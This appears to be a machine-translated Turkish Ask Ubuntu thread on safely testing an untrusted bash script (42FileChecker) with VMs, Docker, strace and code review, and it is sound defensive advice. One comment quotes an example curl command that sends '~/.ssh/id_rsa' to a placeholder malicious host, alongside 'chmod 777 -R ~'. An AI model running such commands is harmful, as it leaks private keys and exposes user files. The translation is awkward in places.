Bilgisayarıma zarar vermemek için bir kabuk betiğini “güvenli bir ortamda” nasıl test edebilirim?


29

Komutları kullanarak 42FileChecker adlı belirli bir bash betiği kurmak istiyorum:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

Fakat 42FileChecker.sh'ın bilgisayarımda tuhaf şeyler yapıp yapmayacağını bilmiyorum çünkü acemi olduğumu ve o senaryoda neler olduğunu bilmiyorum. Sürücüleri biçimlendirmek gibi çılgınca bir şeyden kaçınmak için kukla bir terminalde veya kukla bir kök klasöründe veya bunun gibi bir şeyi çalıştırmanın bir yolu var mı? 42FileChecker.sh güvenli olsa bile gelecekteki kabuk komut dosyalarının kabukları test etmenin herhangi bir yolunu bilmek istiyorum.


5
Bir komut dosyası olduğundan, onu okuyabilir ve maniçerdiği komutlardaki sayfaları okuyabilirsiniz .
waltinator

1
Kod Git'te barındırıldığından, aracın kaynağını okuyabileceğinizi unutmayın. Kod incelemesi sizin için değilse, güvenli bir ortamda (sanal alan, VM) çalıştırarak bir tür "dinamik" analiz yapmak bir sonraki en iyi bahsinizdir
BlueCacti

4
@waltinator Yalnızca istenmeyen davranışlardan ziyade kötü niyetli davranışlarla ilgileniyorsanız , man sayfalarını okumak yardımcı olmaz.
Ray

1
@Ray, yalnızca çalıştırılan komutlar kendileri kötüyse, sayfalarının gerçek etkilerini gizleyebilmesi için. Ben waltinator standart komutları, örneğin kötü amaçla kullanılmasından daha muhtemel durumda atıfta bulundu düşünüyorum chmod 777 -R ~ya curl http://badsite.example.com/secret-grabber.php -d @"$HOME"/.ssh/id_rsaveya benzer.
Wildcard

1
İlgili . Sen herhangi bir zarar görmesi riskini ortadan komut test edebilir sizin bilgisayar ve onların oturumları kilitlemek için çalışma arkadaşlarınızla öğretirdi.
Eric Duminil

Yanıtlar:


4

Bu konuda uzman değilim ama straceve kullanmanızı tavsiye ederim docker.

Bu yüzden ilk önce bu cevabın talimatındaki gibi bir Docker kabı oluşturun . Ancak bu strace olarak eklenmesi, hangi sistem çağrıları yapıldığını size söyleyecektir. Veya alıntı yapmak için:

strace, Linux için bir tanılama, hata ayıklama ve eğitici kullanıcı alanı aracıdır. Sistem çağrıları, sinyal teslimatları ve işlem durumundaki değişiklikleri içeren işlemler ve Linux çekirdeği arasındaki etkileşimleri izlemek ve kurcalamak için kullanılır.

Bu komutları birleştirmek için kullanabilirsiniz.

docker exec -it ubuntu_container strace bash ./42FileChecker.sh

Bu, betiğin her satırından (adım adım) geçecek ve aynı zamanda bir kabın içinde bunu yapacak, yani tüm komutlar sistemime kesinlikle hiçbir şey yapmayacak ama her zamanki gibi çalıştırılacak. Bunu doğru anlıyor muyum?
nicholas,

1
@ nicholas evet liman işçisi konteynır güvenliğiniz için ayrı bir makinedir, program korumalıdır. Strace, dosyaları açmaktan ağ bağlantılarını kurmak için uygulamanın o makineye yaptığı tüm işlemleri size sağlayacaktır.
Thomas

1
Evet, tam olarak aradığım şey buydu, Strace Docker'la birleşti.
nicholas

42

Bir betiğin ne yaptığından emin değilseniz, ne yaptığından emin olana kadar çalıştırmamanız daha iyi olur. Kötü bir komut dosyasının zarar yarıçapını azaltmanın yolları, yeni bir kullanıcı kullanarak çalıştırmayı, bir kapta çalıştırmayı veya sanal bir makinede çalıştırmayı içerir. Ancak bu ilk ifade hala geçerli: Bir şeyin ne yaptığından emin değilseniz, bunu yapana kadar çalıştırmamayı düşünün.


6
Diğer taraftan senaryolar EULA'lar gibidir: Evet, ruhunuzu satmadan önce her bir satırı okumalı ve anlamalısınız, değil mi?
Peter - Monica'yı

7
@ PeterA.Schneider, ancak EULA mahkemeye çıkana kadar hiçbir şey yapmıyor. Bir komut dosyasını çalıştırmanın bilgisayarınızda hemen bir etkisi olur. Her satırı okumakla ilgili değil; "Güvene Güvenmeye İlişkin Düşünceler" ve betiğin kaynağını bilmek ve bunlara güvenmekle ilgili.
Wildcard

29

@Ctt'in dediği gibi, önce bir tür kum havuzunda çalıştırmak muhtemelen iyi bir fikirdir. Bir VM kullanmak muhtemelen en kolay çözümdür. Multipass oldukça basittir.

Çoklu pusulayı yükle (henüz yapmadığınızı varsayarak):

sudo snap install multipass --beta --classic

Yeni bir VM'yi döndür:

multipass launch --name myvm

Yeni sanal makinenize giriş yapın:

multipass shell myvm

Sonra betiğinizi çalıştırın (vm'inizin içinde):

multipass@myvm:~$ git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh

38
Bu yaklaşım güvenli değil. Komut dosyasını sanal alanda çalıştırdıktan sonra, güvenli olup olmadığını nasıl söyleyeceksiniz? Kolayca söyleyemeyeceğiniz zararlı etkileri olabilir. Kötü amaçlı yazılım mutlaka açılır ve "Haha, anladım!" Demez. Ayrıca, kötü amaçlı bir komut dosyası, sanal alan veya VM'deyken iyi huylu bir şekilde kolayca davranabilir ve ardından gerçek bilgisayarınızda kötü niyetli davranabilir. (Örneğin, VM algılama makine parmak izi gibi bir şeydir.)
DW

12
Bu harika bir nokta. Komut dosyasını kötü amaçlı yazılımlara karşı incelemek istiyorsanız, bu etkili bir çözüm değildir. Bu, ana sisteminizi kirletmeden işlevselliği test etmenin bir yoludur.
Ryan J. Yoder

Bir "kontrol" VM ile tam bir karşılaştırma yapabilirsiniz.
mckenzm

6
@mckenzm: Ama eğer kötü amaçlı bir yazılımsa, kendisini sulu görünen bir şeye erişimi olana kadar hiçbir şey yapmamayı seçmesi tamamen mümkün.
Henning Makholm

11

Katıldığınız okul senaryoları yayınladığında, endişelerinizi dile getirmenin en iyi yeri eğitmenlerinizle olur.

Bu, kodu satır satır bazında deşifre etmenize yardımcı olabileceğimizi söyledi. Buradaki herkes için tüm kodu analiz etmesi muhtemelen pratik değildir .

Toplamda 5,360 satırlık 40 bash betiğiniz var. Onları bir araya getirdim ve kötüye kullanılabilecek bash / shell komutlarını aradım. Hepsinin normal şekilde kullanıldığı görülüyor :

$ cat /tmp/sshellcheck.mrg | grep " rm "

      rm -rf "$RETURNPATH"/tmp/*
      rm -f "$RETURNPATH"/.mynorminette
    rm -f $LOGFILENAME
    rm -f $LOGFILENAME
      rm -f .mymoulitest
        rm -f "${RETURNPATH}/tmp/${FILEN}"

$ cat /tmp/sshellcheck.mrg | grep -i kill

  function check_kill_by_name
          kill $PROCESSID0
  declare -a CHK_MINISHELL_AUTHORIZED_FUNCS='(malloc free access open close read write opendir readdir closedir getcwd chdir stat lstat fstat fork execve wait waitpid wait3 wait4 signal kill exit main)'
        check_kill_by_name "${PROGNAME}"
      kill -0 "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null && kill "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null
      display_error "killed pid: ${CURRENT_CHILD_PROCESS_PID}"
    check_kill_by_name "$PROGNAME $PROGARGS"
        check_kill_by_name "$PROGNAME $PROGARGS"
        kill ${PID} 2>/dev/null

$ cat /tmp/sshellcheck.mrg | grep -i root

      "check_configure_select ROOT" "Root folder:          /"\
      'ROOT')
        echo "'${ALLOWED_FILES}' must be placed at root folder but was found here:" >>"${LOGFILENAME}"
        printf "%s" "'${ALLOWED_FILES}' must be placed at root folder"

$ cat /tmp/sshellcheck.mrg | grep -i sudo

$ 
  • rm -rf /Tüm sabit disk bölümünü silmek için herhangi bir komut yoktur .
  • sudoKomut dosyasını çalıştırmak için hiçbir gereksinim yoktur .
  • Komut dosyası C, denetlenen dosyalarda yalnızca yetkili işlevlerin kullanıldığından emin olur .
  • Bash / shell koduna hızlıca göz atmanın profesyonelce yazılmış ve takip etmesi kolay olduğunu gösteriyor.
  • Birleştirilmiş kabukcheck kullanarak dosyalar sadece üç sözdizimi hatası ortaya koymaktadır.
  • Yazar isimleri tanımlanmış ve ana yazarın resmi bile githubsayfasında.
  • Hayatta hiçbir garanti olmamasına rağmen, 42FileCheckerkullanımı güvenli görünüyor.

Endişelenmen gereken insanca okunabilen bash scriptleri değil. Endişe kaynağı olan, okuyamayacağınız ikili nesneler derlenmiştir. Örneğin, "parlak zıplama küresi" olarak adlandırılan bir program ekranınızda böyle bir şeyi boyayabilir ancak arka planda tüm dosyalarınızı siliyor olabilir.


Orijinal cevap

Senaryo yazarına ne yaptığını sormak en iyisidir. Aslında, sorunuzu neredeyse yukarıda göründüğü gibi verbatim olarak gönderebilirsiniz.

Ayrıca yazara da sorun:

  • Hangi dosyalar güncellendi?
  • Elektrik kesintisi veya program hatası nedeniyle çökme meydana gelirse ne olur?
  • Önce bir mini yedekleme yapılabilir mi?

Ve aklınıza gelebilecek diğer tüm güzel sorular.


Düzenleme 1 - Kötü niyetli bir yazar hakkında endişeler.

Yazılımı yalnızca çok sayıda iyi genel değerlendirme ile kullanmalısınız. Alternatif olarak burada güvendiğiniz yazarlar, Serge, Jacob, Colin King, vb. Gibi Ask Ubuntu'da. Ask Ubuntu ve saygın üyeleri gibi saygın diğer siteler de “zararlı olmayan” olarak kabul edilmelidir.

Buradaki “saygın yazarların” Ask Ubuntu’daki avantajı, “itibar puanları” ndaki kendi değerlerine güveniyor olmalarıdır. Eğer kasıtlı olarak "çalınan" veya "zarar görmüş" verilerin kodunu yazarlarsa, saygınlıklarını çabucak kaybederlerdi. Gerçekten de, yazarlar "modların gazabı" ndan acı çekebilir ve askıya alınabilir ve / veya 10.000 itibar puanına sahip olabilirler.


Düzen 2 - Tüm talimatları takip etme

Bash betiğinizin talimatlarını daha derinden inceledim:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

"Safe" yöntemi yalnızca ilk satırı çalıştırmaktır:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker

Bu komut dosyalarını indirir ancak çalıştırmaz. Bir sonraki kullanımda nautilus(dosya yöneticisi) kurulu dizinleri ve dosyaları incelemek için. Çok çabuk keşfedersiniz, Fransa'da bir grup öğrenci tarafından yazılmış bir bash betiği koleksiyonu vardır.

Komut dosyalarının amacı, yanlış işlevler ve bellek sızıntıları için C programlarını derlemek ve test etmektir.


1
Evet olmalıyım, ancak yazarın kasıtlı olarak kötü niyetli bir şey yapabileceği durumları düşünüyordum.
nicholas

1
@ nicholas Yorumunuzu yanıtlayarak yanıtlayarak yanıtladım.
WinEunuuchs2Unix

2
Ecole 42 kursunda C öğreniyorum. Yaptığım fonksiyonların bu norme kontrolünden geçmesi gerekiyor. Bu norme kontrolü yapmak için 42FileChecker'ı Ubuntu'ya yüklemem gerekiyor. Sanırım şimdilik sadece bu senaryoya güvenmek zorundayım ama önce senaryoyu "güvenli çalıştırmayı" nasıl yapacağımı bilmem gerekiyordu, çünkü insan aramalarında o kadar iyi değilim. Yardım için teşekkürler. Bir dahaki sefere sadece bir VM çalıştıracağım.
nicholas

2
arasında @nicholas 24. satır ~/42FileChecker/includes/display/display_credits.shdevletler norminette çalışmalarının bir bağımlılığın geçerli: norminette (42 born2code) http://www.42.fr. Bunu dün gece okudum ve bu yüzden Fransa'da 42FileChecker yayınlayan bir okul ( eko ) olduğunu yazdım . Şu ana kadar koda göz attığım şeyden çalıştırırken endişelenmiyorum. Artı, shellcheck5,360 satır bash betiği için şaşırtıcı olduğu bildirilen çok az sözdizimi hatası vardır . Profesyonelce yayınlanan bash komut dosyalarının çoğunda birçok sözdizimi hatası vardır.
WinEunuuchs2Unix

2
@ nicholas Güvenlik açısından, sınıf için verilen ortamı ve komut dosyalarını kullanmak muhtemelen en iyi yaklaşımdır. Ayrıca, katılım sırasında sürpriz olabilecek resmi kurs sürümünden farklı davranış olasılığını ortadan kaldırır. Bu makineye uzaktan erişim olmadığından, muhtemelen uzaktan erişebileceğiniz başka bir bilgisayardan sağlanan VPN hizmeti veya SSH kampüsünü kullandığınızdan emin misiniz?
trognanders

5

Docker'ı kullanabilirsiniz. Docker kapları, ana bilgisayar işletim sisteminden izole edilir; bu nedenle, herhangi bir kötü amaçlı etkinlik, özellikle bağlantı noktaları ileterek veya dosya sistemlerini bağlayarak çıkarmanıza izin vermediğiniz sürece, bir kap içinde kalır.

Liman işçisi yüklemek için:

sudo apt-get install docker.io

Yeni bir Ubuntu Biyonik kabı indirmek için:

docker pull ubuntu:bionic

Bundan sonra, kabın içine oturum açın

docker run -it ubuntu:bionic

ve içindeki tehlikeli işlemi gerçekleştirin:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh

1
Docker'ın bir komut dosyasının ne yapacağını belirlemede yardımcı olabilecek bir başka yararı da docker diff, kabı başlattığınızdan beri dosya sisteminde hangi değişikliklerin yapıldığını görmek için koşmanızdır. Docker'ı kullanmanın bir dezavantajı, konteynerin ana sistemin tam bir kopyası olmamasıdır. Burada bahsettiğiniz Ubuntu görüntüsü yalnızca minimum bir Ubuntu kurulumu içeriyor.
Martijn Heemels

2
docker run ubuntuSizin yerine koşmalısınız docker run -it ubuntu:bionicBu -it, kapta etkileşimli bir terminal sağlar ve bionicgerçekte varsayılan yerine istediğiniz sürümü çalıştırır latest.
Martijn Heemels

Bu cevabı sevdiğimlerin en iyisine sevdim. Ancak, tehlikeli senaryo hala sisteminizi kötüye kullanabilir gibi görünüyor. Gizlice vb Bitcoins madencilik olabilir İdeal bir olasılıkla ek bayrak kullanabiliriz --memory, --networkve gerçekten belki diğerleri senaryoyu kilitlemek.
emory

1
Gerçekten paranoyaksanız, bu cevabı en iyi ikinci cevabınızla birleştirin. Docker'ı sanal bir makinede çalıştırın ve her şeyi kilitleyin.
emory

3

Komut dosyasını şu şekilde çalıştırarak hata ayıklama modunu kullanmayı düşünün:

$ bash -x scriptname

Daha fazla yararlı Bash bilgisi

Hata ayıklama modu, komut dosyasının kötü bir şey yapmasını engellemez, ancak komut satırından satır satır ilerlemenizi ve efektleri incelemenizi sağlar. Ayrıca senaryoyu bazı yaygın potansiyel hatalar ve / veya istismarlar için de kontrol edebilirsiniz, örneğin senaryoları herhangi bir şekilde araştırın rmve bu komutları yakından inceleyin. Bu araçların birçoğu onları denemek için yerleşik yardıma sahip, örneğin rm ihtiyacı, varsayılan olarak bir dizin silmez -r, -Rya --recursivebunu yapmak için bir seçenek.

Bu kalıplar için bir bash betiğini arayacak virüsten korumaya benzer bazı araçlar da olabilir, ancak hiçbir adı bilmiyorum. Örnek komut dosyalarınız, başka araçları indirecek şekilde fazladan iffy. Bu nedenle bunların her biri de incelenmeli. Hangi sunuculara temas ettiklerini kontrol etmek de faydalı olabilir.


-x hata ayıklama için kullanılabilir (ve onu kullanıyorum!) ancak komut satırından satır satır adım ilerlemenize izin vermez. Komut dosyasını tam hızda yürütürken size bir tür "iz" verecektir.
jrw32982,

2

Bir cevap vermek için gereken bilgiler şans eseri sadece sizin yorumunuzda bulunur:

Ecole 42 kursunda C öğreniyorum. Yaptığım fonksiyonların bu norme kontrolünden geçmesi gerekiyor. Bu norme kontrolü yapmak için 42FileChecker'ı Ubuntu'ya yüklemem gerekiyor.

Dolayısıyla durum pratikte dersi geçme seçeneğinizin olması veya kaynaklarınız üzerinde normatif kontroller yapmak için senaryoyu çalıştırmanız olabilir. Eğitmeninizle konuşmak, birincisi olmadığı için zor bir seçenektir (başka türlü bir seçenek olmazdı, hiçbir öğrenci prosedürlerini değiştiremez çünkü bir öğrenci ondan memnun değildir).
Bu yüzden bu senaryodaki olası hasarı sınırlamak için ne yapılması gerektiği sorusu ortaya çıkmaz. Büyük göğüsleri olan azgın bir kızın size e-postayla gönderildiği ve onun resmini görmek için kaçmanız gereken rastgele bir senaryo değil .
Bir programlama dersi yapıyorsun. Bubu senaryonun devreye girdiği yer. Soru, kursu başarıyla tamamlamak için çerçeve koşullarına uymak isteyip istemediğinizdir.

Ancak, gerçekten endişeleniyorsanız, senaryoyu bir kapta ya da sanal bir makinede çalıştırma ve kaynaklarınızı paylaşılan bir klasöre ya da kap / sanal makine tarafından maruz kalan bir ağ paylaşımına koyma olasılığı hala var. Bu tam paranoya yoluna gidiyor, ama sanallaştırma bugünlerde bu kadar karmaşık değil, bu yüzden çok pahalıya mal olmuyor.

O senaryoda yer alması pek olası olmayan bir istismar olasılığını engellemek, köklü olmayan herhangi bir kullanıcı olarak oturum açmak (Ubuntu'da başka türlü bir seçim yapmak zorunda kalmazsınız) ve sudoaçık bir neden olmadan yazmaktan kaçınmak Zaten olabilecek olan tüm kötü şeyler. Endişelendiğiniz sabit diski biçimlendirme gibi. Normal bir kullanıcı bunu yapamaz. En kötü şey, komut dosyası kullanıcının giriş dizinini silmesidir. Yani ne, sorun yok, gerçekten.


Umarım OP yorum burada sudokomut dosyası çalıştırmak için gerekli olup olmadığını . +1
WinEunuuchs2Unix

Kaçınılması, sudosadece hatalardan kaynaklanan yanlışlıkla silme / biçimlendirme kapsamını sınırlar. Komut dosyası kötü niyetli veya sömürülebilirse, sudotek bir kullanıcı sistemiyle çalışmak önemli bir fark yaratmaz.
diğer adam

@ WinEunuuchs2Unix Ben sudo gerekli olduğunu sanmıyorum. Ben gerçekten bilmiyorum. Her ne kadar apt kurulum komutları için sudo kullanıyorum. Bu, bir betiği çalıştırmak için de kullanmam gerektiği anlamına mı geliyor?
nicholas

1
@ nicholas Derleme ve test etme için herhangi bir C programım yok, 42FileCheckerbu yüzden gerçekten gerekip gerekmediğini gerçekten söyleyemem sudo. Bash betiği sudo'yu kontrol etmez ve yine de kullanmanızı söyler. Öyle görünmüyordu sudo, o gerekli değildi. Bir kez daha eğitmeninize (öğretmeninize) sormanın en iyi politika olduğunu düşünüyorum. Cevabımı bir saat önce senaryoyu biraz analiz ederek güncelledim. mynorminetteKod içinde " " adının tekrar göründüğüne dikkat edin .
WinEunuuchs2Unix

1
@ nicholas Bazı eğitmenlerin kişisel olarak norminette, yyang42, alelievr, anisg, QuentinPerez, gabkk, patorjk ve hepsine katkıda bulunan Jean-Michel Gigault'u tanıdığını iddia ediyorum 42FileChecker. Eğitmenlerle konuşmanın fikrini kolaylaştıracağına inanıyorum. Soruşturma birkaç saat sonra ben programcılara ve onların yarattıklarına inancım var. Jean-Michel Gigault'un bile github'da bir resmi var. Sarı yeleğin tohumlarının büyüdüğü bir ülkede bir güven kanıtı. Viva La France! (et Ecole 42 :)) İlerleme güncellemeleri için bize bir iyilik yap ve bırak.
WinEunuuchs2Unix
Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.